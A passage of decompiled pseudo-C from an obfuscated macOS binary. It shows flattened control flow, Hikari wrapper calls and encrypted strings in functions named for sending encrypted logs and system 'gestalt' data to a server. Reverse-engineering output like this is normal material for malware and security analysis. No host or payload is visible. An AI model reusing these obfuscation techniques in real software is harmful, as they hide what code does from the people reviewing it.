v12 = 1639212302;
goto LABEL_186;
}
if ( v34 == -22185944 )
*v42 = -81743844;
}
else
{
if ( v34 == -152015722 )
{
v8 = 0;
v7 = -1478899222;
v9 = 1091575007;
goto LABEL_175;
}
if ( v34 == -150365999 )
{
aB_11[1] = 82;
aB_11[2] = 82;
aB_11[3] = 79;
aB_11[4] = 82;
aB_11[5] = 58;
aB_11[6] = 32;
aB_11[7] = 37;
aB_11[8] = 64;
aB_11[9] = 0;
asc_10028AC0C[0] = 78;
asc_10028AC0C[1] = 79;
asc_10028AC0C[2] = 95;
asc_10028AC0C[3] = 82;
*v42 = -1419864969;
}
}
}
else if ( v34 <= 178587527 )
{
if ( v34 == 81121115 )
{
aB_11[0] = 69;
*v42 = 329523199;
}
else if ( v34 == 85223542 )
{
v10 = 1;
v7 = -869603915;
v13 = 1225676866;
goto LABEL_166;
}
}
else
{
switch ( v34 )
{
case 178587528:
*v42 = -1395489429;
break;
case 198128765:
v11 = 1;
v7 = -22185944;
v12 = -81743844;
goto LABEL_186;
case 210522699:
objc_release(v32);
v7 = -679384581;
goto LABEL_188;
}
}
}
if ( v34 > -896457358 )
break;
if ( v34 > -1589440539 )
{
if ( v34 <= -1395489430 )
{
if ( v34 > -1449907338 )
{
if ( v34 == -1449907337 )
{
v33 = dword_10029F634;
v7 = -233515084;
goto LABEL_188;
}
if ( v34 == -1419864969 )
{
aB_11[1] = 82;
aB_11[2] = 82;
aB_11[3] = 79;
aB_11[4] = 82;
aB_11[5] = 58;
aB_11[6] = 32;
aB_11[7] = 37;
aB_11[8] = 64;
aB_11[9] = 0;
asc_10028AC0C[0] = 78;
asc_10028AC0C[1] = 79;
asc_10028AC0C[2] = 95;
asc_10028AC0C[3] = 82;
v41 = 69;
v7 = -774285116;
goto LABEL_188;
}
}
else if ( v34 == -1589440538 )
{
objc_release(a2);
*v42 = 666503060;
}
else if ( v34 == -1478899222 )
{
*v42 = 1091575007;
}
}
else if ( v34 <= -1045936491 )
{
if ( v34 == -1395489429 )
{
v7 = -1419864969;
goto LABEL_188;
}
if ( v34 == -1291397387 )
*v42 = 306853262;
}
else
{
switch ( v34 )
{
case -1045936490:
v8 = !v39;
v7 = 228672958;
v9 = 1225090229;
goto LABEL_175;
case -954955008:
*v42 = -224535553;
break;
case -918412559:
goto LABEL_94;
}
}
}
else if ( v34 <= -1880701185 )
{
if ( v34 > -1959429575 )
{
if ( v34 == -1959429574 )
{
v21 = objc_msgSend(v35, "stringWithFormat:", CFSTR("\x00B\x8F\xF1\xCA\x9C\x71\xE7\xF1\xB0"), v36);
v28 = objc_retainAutoreleasedReturnValue(v21);
v11 = 1;
v29 = (void **)(*(_QWORD *)(*(_QWORD *)(a1 + 32) + 8LL) + 40LL);
v7 = -1949268001;
v12 = -1291397387;
goto LABEL_186;
}
if ( v34 == -1949268001 )
{
v14 = objc_msgSend(v35, "stringWithFormat:", CFSTR("\x00B\x8F\xF1\xCA\x9C\x71\xE7\xF1\xB0"), v36);
objc_retainAutoreleasedReturnValue(v14);
*v42 = -1959429574;
}
}
else if ( v34 == -2055569571 )
{
*v42 = -2038956069;
}
else if ( v34 == -2038956069 )
{
*v42 = 1455268499;
v31 = v27;
}
}
else if ( v34 <= -1733559031 )
{
if ( v34 == -1880701184 )
{
v10 = 1;
v7 = -817490732;
v13 = 1922199134;
LABEL_166:
if ( !v10 )
v7 = v13;
goto LABEL_188;
}
if ( v34 == -1860952794 )
*v42 = -152015722;
}
else
{
switch ( v34 )
{
case -1733559030:
*v42 = 1924402258;
break;
case -1723367452:
dword_10029F634 = 1;
objc_retain(a2);
*v42 = 796302067;
break;
case -1677017629:
*v42 = -820020503;
break;
}
}
}
if ( v34 <= -442610864 )
break;
if ( v34 <= -233515085 )
{
if ( v34 > -336799105 )
{
if ( v34 == -336799104 )
{
v11 = 1;
v7 = -1589440538;
v12 = 666503060;
LABEL_186:
if ( v11 )
v7 = v12;
LABEL_188:
*v42 = v7;
}
else if ( v34 == -234950690 )
{
*v42 = -1449907337;
}
}
else if ( v34 == -442610863 )
{
v22 = *v29;
*v29 = v28;
objc_release(v22);
*v42 = 581840611;
}
else if ( v34 == -364462936 )
{
v39 = a4 == 0;
v7 = -1733559030;
goto LABEL_188;
}
}
else if ( v34 <= -174558411 )
{
if ( v34 == -233515084 )
{
*v42 = 1117850936;
}
else if ( v34 == -224535553 )
{
v10 = 1;
v35 = &OBJC_CLASS___NSString;
v7 = -1045936490;
goto LABEL_134;
}
}
else
{
switch ( v34 )
{
case -174558410:
v11 = 1;
asc_10028AC0C[4] = v41;
asc_10028AC0C[5] = 83;
asc_10028AC0C[6] = 80;
asc_10028AC0C[7] = 79;
asc_10028AC0C[8] = 78;
asc_10028AC0C[9] = 83;
asc_10028AC0C[10] = 69;
asc_10028AC0C[11] = 0;
v7 = -174558410;
v12 = 412096324;
goto LABEL_186;
case -162104175:
*(_BYTE *)(*(_QWORD *)v30 + 24LL) = 1;
goto LABEL_171;
case -157236928:
v11 = 1;
*(_BYTE *)(*(_QWORD *)v30 + 24LL) = 1;
v7 = -157236928;
v12 = -538506520;
goto LABEL_186;
}
}
}
if ( v34 <= -774285117 )
break;
if ( v34 <= -704920993 )
{
if ( v34 == -774285116 )
{
*v42 = 1759859270;
}
else if ( v34 == -766600110 )
{
v38 = v33 == 0;
*v42 = -1860952794;
}
}
else
{
switch ( v34 )
{
case -704920992:
asc_10028AC0C[4] = v41;
asc_10028AC0C[5] = 83;
asc_10028AC0C[6] = 80;
asc_10028AC0C[7] = 79;
asc_10028AC0C[8] = 78;
asc_10028AC0C[9] = 83;
asc_10028AC0C[10] = 69;
asc_10028AC0C[11] = 0;
*v42 = -174558410;
break;
case -679384581:
*v42 = 907466559;
break;
case -538506520:
*v42 = -336799104;
break;
}
}
}
if ( v34 <= -820020504 )
break;
if ( v34 == -820020503 )
{
v11 = 1;
v7 = -1949268001;
v12 = -1959429574;
goto LABEL_186;
}
if ( v34 == -817490732 )
{
*v37 = CFSTR("\xCD\x7D\xA7mZ\x0F\a\b\xDE\x77T\x8A");
*v42 = -2055569571;
}
}
if ( v34 == -894915769 )
{
v8 = !v40;
v7 = 907466559;
v9 = 198128765;
LABEL_175:
if ( !v8 )
v7 = v9;
goto LABEL_188;
}
if ( v34 == -869603915 )
{
v37 = (void **)(*v26 + 40LL);
v40 = *v37 == 0;
v10 = 1;
v7 = -894915769;
v13 = -869603915;
goto LABEL_166;
}
}
while ( v34 != -896457357 );
return result;
}
// 1001DFF31: variable 'v32' is possibly undefined
// 1001E0168: variable 'v30' is possibly undefined
// 1001E01DB: variable 'v26' is possibly undefined
// 1001E042D: variable 'v27' is possibly undefined
// 1001E06EF: variable 'v33' is possibly undefined
// 1001E0AF0: variable 'v29' is possibly undefined
// 1001E0AFA: variable 'v28' is possibly undefined
// 1001E0C60: variable 'v25' is possibly undefined
// 1001E0C6E: variable 'v23' is possibly undefined
// 1001E0C7C: variable 'v24' is possibly undefined
// 1001E0DCA: variable 'v31' is possibly undefined
// 10028AC50: using guessed type __CFString stru_10028AC50;
// 10028AC90: using guessed type __CFString cfstr_B_11;
// 10029F634: using guessed type int dword_10029F634;
//----- (00000001001E127F) ----------------------------------------------------
const void **__fastcall __copy_helper_block_e8_32r40r(__int64 a1, __int64 a2)
{
int v2; // eax
char v3; // cf
int v4; // ecx
const void **v6; // [rsp+8h] [rbp-58h]
void *v7; // [rsp+10h] [rbp-50h]
void *v8; // [rsp+18h] [rbp-48h]
void *v9; // [rsp+20h] [rbp-40h]
int v10; // [rsp+2Ch] [rbp-34h] BYREF
int *v11; // [rsp+30h] [rbp-30h]
v10 = -1477447714;
v11 = &v10;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v10 <= -431876308 )
{
if ( v10 > -794663948 )
{
if ( v10 == -794663947 )
{
*v11 = 1128319254;
}
else if ( v10 == -677945159 )
{
*v11 = 720918278;
}
}
else if ( v10 == -1546871673 )
{
*v11 = -350765572;
}
else if ( v10 == -1477447714 )
{
v3 = 0;
v2 = 720918278;
v4 = -677945159;
goto LABEL_21;
}
}
if ( v10 <= 1128319253 )
break;
if ( v10 == 1128319254 )
{
v3 = 1;
v2 = 1349866452;
v4 = -431876307;
goto LABEL_21;
}
if ( v10 == 1349866452 )
{
_Block_object_assign(v8, v9, 8);
*v11 = -431876307;
}
}
if ( v10 != -431876307 )
break;
_Block_object_assign(v8, v9, 8);
v3 = 1;
v6 = (const void **)(a2 + 40);
v7 = (void *)(a1 + 40);
v2 = -431876307;
v4 = -1546871673;
LABEL_21:
if ( v3 )
v2 = v4;
LABEL_23:
*v11 = v2;
}
if ( v10 == 720918278 )
{
v8 = (void *)(a1 + 32);
v9 = *(void **)(a2 + 32);
v2 = -794663947;
goto LABEL_23;
}
}
while ( v10 != -350765572 );
HikariFunctionWrapper_19137(v7, *v6, 8);
return v6;
}
// 1001E13B5: variable 'v8' is possibly undefined
// 1001E13B5: variable 'v9' is possibly undefined
// 1001E14BE: variable 'v7' is possibly undefined
// 1001E14A4: variable 'v6' is possibly undefined
//----- (00000001001E14C3) ----------------------------------------------------
__int64 __fastcall __destroy_helper_block_e8_32r40r(__int64 a1)
{
__int64 result; // rax
int v2; // eax
void *v3; // [rsp+0h] [rbp-40h]
int v4; // [rsp+Ch] [rbp-34h] BYREF
int *v5; // [rsp+10h] [rbp-30h]
v4 = -1553643703;
v5 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v4;
if ( v4 > -501080699 )
break;
if ( v4 > -1275768975 )
{
if ( v4 == -1275768974 )
{
*v5 = -501080698;
}
else if ( v4 == -1140122756 )
{
_Block_object_dispose(v3, 8);
*v5 = -210834590;
}
}
else if ( v4 == -2003837271 )
{
_Block_object_dispose(*(const void **)(a1 + 40), 8);
*v5 = 2092654584;
}
else if ( v4 == -1553643703 )
{
v2 = 2092654584;
goto LABEL_21;
}
}
if ( v4 <= 2092654583 )
break;
if ( v4 == 2092654584 )
{
_Block_object_dispose(*(const void **)(a1 + 40), 8);
v3 = *(void **)(a1 + 32);
v2 = 1185767031;
goto LABEL_21;
}
if ( v4 == 2093086098 )
{
v2 = -210834590;
goto LABEL_21;
}
}
if ( v4 != -210834590 )
break;
HikariFunctionWrapper_19139(v3, 8);
v2 = -1275768974;
LABEL_21:
*v5 = v2;
}
if ( v4 != 1185767031 )
break;
*v5 = 2093086098;
}
}
while ( v4 != -501080698 );
return result;
}
// 1001E1578: conditional instruction was optimized away because %var_38.4==C19AE38A
// 1001E16ED: conditional instruction was optimized away because r12d.4==DBDDC228
// 1001E15D7: variable 'v3' is possibly undefined
//----- (00000001001E1715) ----------------------------------------------------
__int64 __fastcall __SendEncryptedLogToServer_block_invoke(__int64 a1, void *a2, __int64 a3, void *a4)
{
__int64 result; // rax
char v7; // cf
int v8; // eax
int v9; // ecx
bool v10; // zf
int v11; // ecx
void *v12; // rdi
id v13; // rax
id v14; // rax
char v15; // cf
int v16; // ecx
id v17; // rax
id v18; // rax
id v19; // rax
id v20; // rax
id v21; // rax
__int64 v22; // rcx
void *v23; // rdi
id v24; // [rsp+0h] [rbp-90h]
__int64 v25; // [rsp+8h] [rbp-88h]
id v26; // [rsp+10h] [rbp-80h]
void *v27; // [rsp+18h] [rbp-78h]
id v28; // [rsp+20h] [rbp-70h]
__int64 v29; // [rsp+28h] [rbp-68h]
void **v30; // [rsp+30h] [rbp-60h]
__int64 v31; // [rsp+38h] [rbp-58h]
id v32; // [rsp+40h] [rbp-50h]
int v33; // [rsp+48h] [rbp-48h]
int v34; // [rsp+4Ch] [rbp-44h] BYREF
id v35; // [rsp+50h] [rbp-40h]
bool v36; // [rsp+5Bh] [rbp-35h]
bool v37; // [rsp+5Ch] [rbp-34h]
bool v38; // [rsp+5Dh] [rbp-33h]
char v39; // [rsp+5Eh] [rbp-32h]
char v40; // [rsp+5Fh] [rbp-31h]
int *v41; // [rsp+60h] [rbp-30h]
v33 = dword_10029F640;
v34 = -138752430;
v41 = &v34;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v34;
if ( v34 > -156890515 )
break;
if ( v34 <= -1121702839 )
{
if ( v34 <= -1663144656 )
{
if ( v34 <= -1989009715 )
{
switch ( v34 )
{
case -2145382445:
*v41 = -97622275;
break;
case -2102726381:
aB_11[0] = 69;
aB_11[1] = 82;
aB_11[2] = 82;
v39 = 55;
*v41 = 1923965876;
break;
case -1992377694:
LABEL_95:
*v41 = -704333998;
break;
}
}
else if ( v34 > -1754733541 )
{
if ( v34 == -1754733540 )
{
*v41 = 1074794084;
}
else if ( v34 == -1681824454 )
{
goto LABEL_95;
}
}
else
{
if ( v34 == -1989009714 )
{
v10 = !v37;
v8 = -1663144655;
v11 = 1555270257;
goto LABEL_152;
}
if ( v34 == -1862116157 )
{
v12 = *(void **)(v29 + 40);
*(_QWORD *)(v29 + 40) = v28;
objc_release(v12);
v7 = 0;
v8 = -860688401;
v9 = 270227568;
goto LABEL_157;
}
}
}
else if ( v34 > -1409346001 )
{
if ( v34 > -1276174988 )
{
if ( v34 == -1276174987 )
{
*v41 = -1409346000;
}
else if ( v34 == -1188061453 )
{
v15 = 1;
v8 = -1385999253;
v16 = -1188061453;
goto LABEL_145;
}
}
else
{
if ( v34 == -1409346000 )
{
v36 = v33 == 0;
v10 = 0;
v8 = -1276174987;
v11 = 790122156;
goto LABEL_152;
}
if ( v34 == -1385999253 )
{
*v41 = 58389199;
v32 = v27;
}
}
}
else if ( v34 > -1480297048 )
{
if ( v34 == -1480297047 )
{
objc_retain(a2);
v37 = a4 == 0;
v15 = 1;
v35 = &OBJC_CLASS___NSString;
v8 = -1754733540;
v16 = 322237373;
LABEL_145:
if ( !v15 )
v8 = v16;
LABEL_161:
*v41 = v8;
}
else if ( v34 == -1473426477 )
{
dword_10029F640 = 1;
*v41 = 416552812;
}
}
else
{
if ( v34 == -1663144655 )
{
v7 = 0;
v8 = -890477691;
v9 = 733614856;
goto LABEL_157;
}
if ( v34 == -1623478440 )
{
v8 = 416552812;
goto LABEL_161;
}
}
}
else if ( v34 > -704333999 )
{
if ( v34 > -451163769 )
{
if ( v34 > -302731822 )
{
if ( v34 == -302731821 )
{
*v41 = -1042616024;
}
else if ( v34 == -274575650 )
{
*v41 = 1209565101;
}
}
else if ( v34 == -451163768 )
{
*v41 = -1081771398;
}
else if ( v34 == -425787756 )
{
*v41 = 520531632;
}
}
else if ( v34 > -519765000 )
{
if ( v34 == -519764999 )
{
v8 = -610039833;
goto LABEL_161;
}
if ( v34 == -482925806 )
*v41 = -1188061453;
}
else
{
if ( v34 == -704333998 )
{
v8 = 393294356;
goto LABEL_161;
}
if ( v34 == -610039833 )
*v41 = 1849599622;
}
}
else if ( v34 > -916369629 )
{
if ( v34 > -860688402 )
{
if ( v34 == -860688401 )
{
*v41 = -519764999;
}
else if ( v34 == -755130376 )
{
*v41 = 1825129773;
}
}
else
{
if ( v34 == -916369628 )
{
v10 = !v38;
v8 = -104858542;
v11 = 1732608164;
LABEL_152:
if ( !v10 )
v8 = v11;
goto LABEL_161;
}
if ( v34 == -890477691 )
{
v13 = objc_msgSend(a4, "localizedDescription");
v24 = objc_retainAutoreleasedReturnValue(v13);
v14 = objc_msgSend(v35, "stringWithFormat:", CFSTR("\x00B\x8F\xF1\xCA\x9C\x71\xE7\xF1\xB0"), v24);
v28 = objc_retainAutoreleasedReturnValue(v14);
v29 = *(_QWORD *)(*(_QWORD *)(a1 + 32) + 8LL);
v8 = -755130376;
goto LABEL_161;
}
}
}
else if ( v34 > -1042616025 )
{
if ( v34 == -1042616024 )
{
v7 = 0;
v8 = -1989009714;
v9 = -302731821;
LABEL_157:
if ( v7 )
v8 = v9;
goto LABEL_161;
}
if ( v34 == -933096244 )
*v41 = 314037787;
}
else
{
if ( v34 == -1121702838 )
{
aB_11[6] = v40 ^ 0xE3;
aB_11[7] = 37;
aB_11[8] = 64;
aB_11[9] = 0;
strcpy(asc_10028AC0C, "NO_RESPONSE");
v8 = 1860816362;
goto LABEL_161;
}
if ( v34 == -1081771398 )
{
v7 = 0;
v8 = -1121702838;
v9 = 1788793983;
goto LABEL_157;
}
}
}
if ( v34 <= 1074794083 )
break;
if ( v34 > 1788793982 )
{
if ( v34 > 1860816361 )
{
if ( v34 > 1923965875 )
{
if ( v34 == 1923965876 )
{
v7 = 0;
v8 = 2033228243;
v9 = 1815923506;
goto LABEL_157;
}
if ( v34 == 2033228243 )
{
v10 = 0;
aB_11[3] = v39 ^ 0x78;
aB_11[4] = 82;
aB_11[5] = 58;
v40 = -61;
v8 = 1815923506;
v11 = -451163768;
goto LABEL_152;
}
}
else if ( v34 == 1860816362 )
{
*v41 = -1623478440;
}
else if ( v34 == 1902776951 )
{
v7 = 0;
v8 = -1188061453;
v9 = -482925806;
goto LABEL_157;
}
}
else if ( v34 > 1825129772 )
{
if ( v34 == 1825129773 )
{
v8 = -1862116157;
goto LABEL_161;
}
if ( v34 == 1849599622 )
{
*v41 = 58389199;
v32 = v24;
}
}
else if ( v34 == 1788793983 )
{
aB_11[6] = v40 ^ 0xE3;
aB_11[7] = 37;
aB_11[8] = 64;
aB_11[9] = 0;
strcpy(asc_10028AC0C, "NO_RESPONSE");
*v41 = -1121702838;
}
else if ( v34 == 1815923506 )
{
aB_11[3] = v39 ^ 0x78;
aB_11[4] = 82;
aB_11[5] = 58;
*v41 = 2033228243;
}
}
else if ( v34 > 1417895007 )
{
if ( v34 > 1555270256 )
{
if ( v34 == 1555270257 )
{
v20 = objc_alloc((Class)v35);
v21 = HikariFunctionWrapper_19141(v20, "initWithData:encoding:");
v25 = a1 + 32;
v22 = *(_QWORD *)(*(_QWORD *)(a1 + 32) + 8LL);
v26 = *(id *)(v22 + 40);
*(_QWORD *)(v22 + 40) = v21;
*v41 = 63003044;
}
else if ( v34 == 1732608164 )
{
v7 = 1;
v8 = -156890514;
v9 = 1417895008;
goto LABEL_157;
}
}
else
{
if ( v34 == 1417895008 )
{
v15 = 0;
v27 = *v30;
v8 = -156890514;
v16 = -2145382445;
goto LABEL_145;
}
if ( v34 == 1510142827 )
{
*(_BYTE *)(*(_QWORD *)(v31 + 8) + 24LL) = 1;
objc_release(a2);
*v41 = 373755448;
}
}
}
else if ( v34 > 1234224942 )
{
if ( v34 == 1234224943 )
{
*v41 = 452479167;
}
else if ( v34 == 1357036715 )
{
*v41 = -610039833;
}
}
else
{
if ( v34 == 1074794084 )
{
v10 = 0;
v8 = -302731821;
v11 = -1042616024;
goto LABEL_152;
}
if ( v34 == 1209565101 )
{
v7 = 1;
v8 = 322237373;
v9 = -1480297047;
goto LABEL_157;
}
}
}
if ( v34 > 322237372 )
break;
if ( v34 > 58389198 )
{
if ( v34 > 270227567 )
{
if ( v34 == 270227568 )
{
v23 = *(void **)(v29 + 40);
*(_QWORD *)(v29 + 40) = v28;
objc_release(v23);
*v41 = -1862116157;
}
else if ( v34 == 314037787 )
{
v31 = *(_QWORD *)(a1 + 40);
*v41 = 1234224943;
}
}
else if ( v34 == 58389199 )
{
objc_release(v32);
*v41 = -104858542;
}
else if ( v34 == 63003044 )
{
objc_release(v26);
v30 = (void **)(*(_QWORD *)(*(_QWORD *)v25 + 8LL) + 40LL);
v38 = *v30 == 0;
*v41 = -916369628;
}
}
else if ( v34 > -104858543 )
{
if ( v34 == -104858542 )
{
v8 = 314037787;
goto LABEL_161;
}
if ( v34 == -97622275 )
{
*v30 = CFSTR("\xCD\x7D\xA7mZ\x0F\a\b\xDE\x77T\x8A");
*v41 = 1902776951;
}
}
else if ( v34 == -156890514 )
{
*v41 = 1417895008;
}
else if ( v34 == -138752430 )
{
v7 = 1;
v8 = -1276174987;
v9 = -1409346000;
goto LABEL_157;
}
}
if ( v34 > 452479166 )
break;
if ( v34 > 393294355 )
{
if ( v34 == 393294356 )
{
v10 = !v36;
v8 = -1623478440;
v11 = -2102726381;
goto LABEL_152;
}
if ( v34 == 416552812 )
{
v7 = 0;
dword_10029F640 = 1;
v8 = -274575650;
v9 = 416552812;
goto LABEL_157;
}
}
else if ( v34 == 322237373 )
{
objc_retain(a2);
*v41 = -1480297047;
}
else if ( v34 == 373755448 )
{
*(_BYTE *)(*(_QWORD *)(v31 + 8) + 24LL) = 1;
objc_release(a2);
v10 = 0;
v8 = 1510142827;
v11 = -425787756;
goto LABEL_152;
}
}
if ( v34 <= 733614855 )
break;
if ( v34 == 733614856 )
{
v17 = objc_msgSend(a4, "localizedDescription");
v18 = objc_retainAutoreleasedReturnValue(v17);
v19 = objc_msgSend(v35, "stringWithFormat:", CFSTR("\x00B\x8F\xF1\xCA\x9C\x71\xE7\xF1\xB0"), v18);
objc_retainAutoreleasedReturnValue(v19);
*v41 = -890477691;
}
else if ( v34 == 790122156 )
{
*v41 = -1681824454;
}
}
if ( v34 == 452479167 )
{
v15 = 0;
v8 = 1510142827;
v16 = 373755448;
goto LABEL_145;
}
}
while ( v34 != 520531632 );
return result;
}
// 1001E1A83: variable 'v31' is possibly undefined
// 1001E1B02: variable 'v29' is possibly undefined
// 1001E1B0A: variable 'v28' is possibly undefined
// 1001E1BDF: variable 'v26' is possibly undefined
// 1001E1BE9: variable 'v25' is possibly undefined
// 1001E1C3F: variable 'v27' is possibly undefined
// 1001E1DD9: variable 'v24' is possibly undefined
// 1001E1F82: variable 'v30' is possibly undefined
// 1001E242F: variable 'v32' is possibly undefined
// 10028ACD0: using guessed type __CFString stru_10028ACD0;
// 10028AD10: using guessed type __CFString cfstr_B_11_0;
// 10029F640: using guessed type int dword_10029F640;
//----- (00000001001E28CF) ----------------------------------------------------
void __cdecl __SendGestaltFromServer_block_invoke(id a1, NSData *a2, NSURLResponse *a3, NSError *a4)
{
int v5; // eax
char v6; // cf
int v7; // ecx
char v8; // cf
id v9; // rax
bool v10; // zf
int v11; // ecx
id v12; // rax
int v13; // ecx
id v14; // rax
id v15; // rax
id v16; // rax
id v17; // [rsp+8h] [rbp-78h]
const char *v18; // [rsp+10h] [rbp-70h]
const char *v19; // [rsp+18h] [rbp-68h]
objc_class *v20; // [rsp+20h] [rbp-60h]
id v21; // [rsp+28h] [rbp-58h]
id v22; // [rsp+30h] [rbp-50h]
int v23; // [rsp+38h] [rbp-48h]
int v24; // [rsp+3Ch] [rbp-44h] BYREF
id v25; // [rsp+40h] [rbp-40h]
bool v26; // [rsp+4Eh] [rbp-32h]
bool v27; // [rsp+4Fh] [rbp-31h]
int *v28; // [rsp+50h] [rbp-30h]
v23 = dword_10029F644;
v24 = 1057155416;
v28 = &v24;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v24 > 121715720 )
{
if ( v24 <= 1057155415 )
{
if ( v24 > 464864609 )
{
if ( v24 <= 845386643 )
{
if ( v24 == 464864610 )
{
*v28 = 1202835161;
}
else if ( v24 == 568494753 )
{
*v28 = 1987038770;
}
}
else
{
switch ( v24 )
{
case 845386644:
objc_retain(a2);
*v28 = -2040361938;
break;
case 874583157:
v9 = objc_alloc(v20);
v6 = 1;
v17 = v9;
v18 = "initWithData:encoding:";
v5 = 304640784;
v7 = -1726804964;
goto LABEL_98;
case 897623169:
a8_2[12] = 32;
a8_2[13] = 80;
a8_2[14] = 79;
a8_2[15] = 83;
a8_2[16] = 84;
a8_2[17] = 58;
*v28 = -1540417778;
break;
}
}
}
else if ( v24 <= 304640783 )
{
if ( v24 == 121715721 )
{
objc_release(v22);
objc_release(a2);
*v28 = 1187216698;
}
else if ( v24 == 150395765 )
{
a3 = (NSURLResponse *)2215260389LL;
v5 = -366760986;
goto LABEL_105;
}
}
else
{
switch ( v24 )
{
case 304640784:
objc_alloc(v20);
*v28 = 874583157;
break;
case 312365710:
v8 = 1;
v19 = "localizedDescription";
v5 = -1428587668;
LABEL_102:
v13 = -686892710;
LABEL_103:
if ( !v8 )
v5 = v13;
LABEL_105:
*v28 = v5;
break;
case 393764136:
v22 = v21;
v6 = 1;
v5 = 121715721;
v7 = 1187216698;
goto LABEL_98;
}
}
}
else if ( v24 <= 1202835160 )
{
if ( v24 <= 1167101757 )
{
if ( v24 == 1057155416 )
{
v26 = v23 == 0;
*v28 = -1345022962;
}
else if ( v24 == 1066193588 )
{
NSLog(CFSTR("\x058\xBF\x8D\xF1\x39\xE7\x8D|>\v\xEE\x09\x86b\xEF\x0B\x7C\xF6\x6C\xE0\x29"), v25, a3);
*v28 = -366760986;
}
}
else
{
switch ( v24 )
{
case 1167101758:
v20 = (objc_class *)&OBJC_CLASS___NSString;
*v28 = -1321493377;
break;
case 1171644353:
*v28 = 2135856834;
break;
case 1187216698:
objc_release(v22);
objc_release(a2);
v5 = -2102129266;
goto LABEL_105;
}
}
}
else if ( v24 > 1795089912 )
{
switch ( v24 )
{
case 1795089913:
*v28 = 393764136;
v21 = v25;
break;
case 1987038770:
v10 = 0;
v5 = 897623169;
v11 = -1540417778;
goto LABEL_94;
case 2135856834:
LABEL_52:
*v28 = 1618404057;
break;
}
}
else
{
switch ( v24 )
{
case 1202835161:
a8_2[18] = 32;
a8_2[19] = 37;
a8_2[20] = 64;
a8_2[21] = 0;
*v28 = -513163061;
break;
case 1513487272:
*v28 = 150395765;
break;
case 1618404057:
v27 = a4 == 0;
v5 = -1106925296;
goto LABEL_105;
}
}
}
if ( v24 <= -1106925297 )
break;
if ( v24 > -366760987 )
{
if ( v24 <= -40928214 )
{
if ( v24 == -366760986 )
{
NSLog(CFSTR("\x058\xBF\x8D\xF1\x39\xE7\x8D|>\v\xEE\x09\x86b\xEF\x0B\x7C\xF6\x6C\xE0\x29"), v25, a3);
v6 = 0;
v5 = 1795089913;
v7 = -366760986;
LABEL_98:
if ( v6 )
v5 = v7;
goto LABEL_105;
}
if ( v24 == -161461251 )
{
a3 = (NSURLResponse *)738466920;
v5 = -1642636796;
goto LABEL_105;
}
}
else
{
switch ( v24 )
{
case -40928213:
v14 = objc_msgSend(a4, v19, 27399719);
v15 = objc_retainAutoreleasedReturnValue(v14);
v10 = 0;
v25 = v15;
v5 = -40928213;
v11 = 1513487272;
goto LABEL_94;
case 45634591:
goto LABEL_52;
case 90393432:
qmemcpy(a8_2, "[!] Error en", 12);
*v28 = -1642636796;
break;
}
}
}
else if ( v24 <= -686892711 )
{
if ( v24 == -1106925296 )
{
v10 = !v27;
v5 = -2117893022;
v11 = 1167101758;
LABEL_94:
if ( !v10 )
v5 = v11;
goto LABEL_105;
}
if ( v24 == -788620818 )
{
a3 = 0;
v6 = 1;
v5 = 845386644;
v7 = -2040361938;
goto LABEL_98;
}
}
else
{
switch ( v24 )
{
case -686892710:
*v28 = 312365710;
break;
case -589848450:
v8 = 0;
v5 = -1861307064;
v13 = -40928213;
goto LABEL_103;
case -513163061:
dword_10029F644 = 1;
*v28 = -788620818;
break;
}
}
}
if ( v24 <= -1540417779 )
break;
if ( v24 <= -1376479900 )
{
if ( v24 == -1540417778 )
{
a3 = (NSURLResponse *)2859025232LL;
v6 = 1;
a8_2[12] = 32;
a8_2[13] = 80;
a8_2[14] = 79;
a8_2[15] = 83;
a8_2[16] = 84;
a8_2[17] = 58;
v5 = -1540417778;
v7 = 464864610;
goto LABEL_98;
}
if ( v24 == -1428587668 )
*v28 = -589848450;
}
else
{
switch ( v24 )
{
case -1376479899:
v12 = objc_msgSend(v17, v18, a2, 4);
*v28 = 393764136;
v21 = v12;
break;
case -1345022962:
v10 = !v26;
v5 = -513163061;
v11 = -161461251;
goto LABEL_94;
case -1321493377:
a3 = (NSURLResponse *)54960388;
v5 = 874583157;
goto LABEL_105;
}
}
}
if ( v24 <= -1861307065 )
break;
switch ( v24 )
{
case -1861307064:
v16 = HikariFunctionWrapper_19143(a4, v19);
objc_retainAutoreleasedReturnValue(v16);
*v28 = -40928213;
break;
case -1726804964:
*v28 = -1376479899;
break;
case -1642636796:
qmemcpy(a8_2, "[!] Error en", 12);
a3 = (NSURLResponse *)32;
v5 = 568494753;
goto LABEL_105;
}
}
if ( v24 == -2117893022 )
{
a3 = (NSURLResponse *)2833808303LL;
v8 = 1;
v5 = 312365710;
goto LABEL_102;
}
if ( v24 == -2040361938 )
{
objc_retain(a2);
v6 = 1;
v5 = 845386644;
v7 = 1171644353;
goto LABEL_98;
}
}
while ( v24 != -2102129266 );
}
// 1001E2B2B: variable 'v21' is possibly undefined
// 1001E2D66: variable 'v22' is possibly undefined
// 1001E2FD7: variable 'a3' is possibly undefined
// 1001E315F: variable 'v20' is possibly undefined
// 1001E31DC: variable 'v17' is possibly undefined
// 1001E31DC: variable 'v18' is possibly undefined
// 1001E339F: variable 'v19' is possibly undefined
// 10029F644: using guessed type int dword_10029F644;
//----- (00000001001E356D) ----------------------------------------------------
id __fastcall Base64DecodexXml(id a1)
{
id v1; // rax
bool v2; // zf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
id v8; // [rsp+0h] [rbp-80h]
id v9; // [rsp+8h] [rbp-78h]
const char *v10; // [rsp+10h] [rbp-70h]
id v11; // [rsp+18h] [rbp-68h]
const char *v12; // [rsp+20h] [rbp-60h]
void *v13; // [rsp+28h] [rbp-58h]
int v14; // [rsp+30h] [rbp-50h]
int v15; // [rsp+34h] [rbp-4Ch] BYREF
id v16; // [rsp+38h] [rbp-48h]
id v17; // [rsp+40h] [rbp-40h]
bool v18; // [rsp+4Dh] [rbp-33h]
char v19; // [rsp+4Eh] [rbp-32h]
bool v20; // [rsp+4Fh] [rbp-31h]
int *v21; // [rsp+50h] [rbp-30h]
v14 = dword_10029F648;
v15 = 1808465677;
v21 = &v15;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v15 > -222825019 )
{
